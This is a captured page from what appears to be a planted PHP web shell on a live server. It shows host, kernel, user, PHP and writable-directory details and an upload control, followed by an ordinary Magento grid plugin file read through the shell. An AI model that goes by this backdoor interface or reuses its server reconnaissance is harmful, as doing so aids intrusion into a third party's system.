Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/app/code/Ecombricks/Common/Plugin/Block/Backend/Widget/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/corals/old/app/code/Ecombricks/Common/Plugin/Block/Backend/Widget/Grid.php
<?php
/**
 * Copyright © eComBricks. All rights reserved.
 * See LICENSE.txt for license details.
 */
declare(strict_types=1);

namespace Ecombricks\Common\Plugin\Block\Backend\Widget;

/**
 * Grid plugin
 */
class Grid extends \Ecombricks\Common\Plugin\View\Framework\Element\AbstractBlock
{
    /**
     * Around get prepared collection
     * 
     * @param \Magento\Backend\Block\Widget\Grid $subject
     * @param \Closure $proceed
     * @return \Magento\Framework\Data\Collection
     */
    public function aroundGetPreparedCollection(
        \Magento\Backend\Block\Widget\Grid $subject,
        \Closure $proceed
    )
    {
        $this->setSubject($subject);
        $this->prepareCollection();
        return $subject->getCollection();
    }

    /**
     * Prepare collection
     * 
     * @return $this
     */
    protected function prepareCollection()
    {
        $this->invokeSubjectMethod('_prepareCollection');
        return $this;
    }

    /**
     * Prepare grid
     *
     * @return $this
     */
    protected function prepareGrid()
    {
        $subject = $this->getSubject();
        $eventManager = $this->getSubjectPropertyValue('_eventManager');
        $eventManager->dispatch(
            'backend_block_widget_grid_prepare_grid_before',
            ['grid' => $subject, 'collection' => $subject->getCollection()]
        );
        $massaction = $subject->getChildBlock('grid.massaction');
        if ($massaction && $massaction->isAvailable()) {
            $massaction->prepareMassactionColumn();
        }
        $this->prepareCollection();
        $columnSet = $subject->getColumnSet();
        if ($subject->hasColumnRenderers()) {
            foreach ($subject->getColumnRenderers() as $renderer => $rendererClass) {
                $columnSet->setRendererType($renderer, $rendererClass);
            }
        }
        if ($subject->hasColumnFilters()) {
            foreach ($subject->getColumnFilters() as $filter => $filterClass) {
                $columnSet->setFilterType($filter, $filterClass);
            }
        }
        $columnSet->setSortable($subject->getSortable());
        $this->invokeSubjectMethod('_prepareFilterButtons');
        return $this;
    }
    
    /**
     * Before to HTML
     *
     * @return $this
     */
    protected function beforeToHtml()
    {
        $this->prepareGrid();
        return $this;
    }
}

Spamworldpro Mini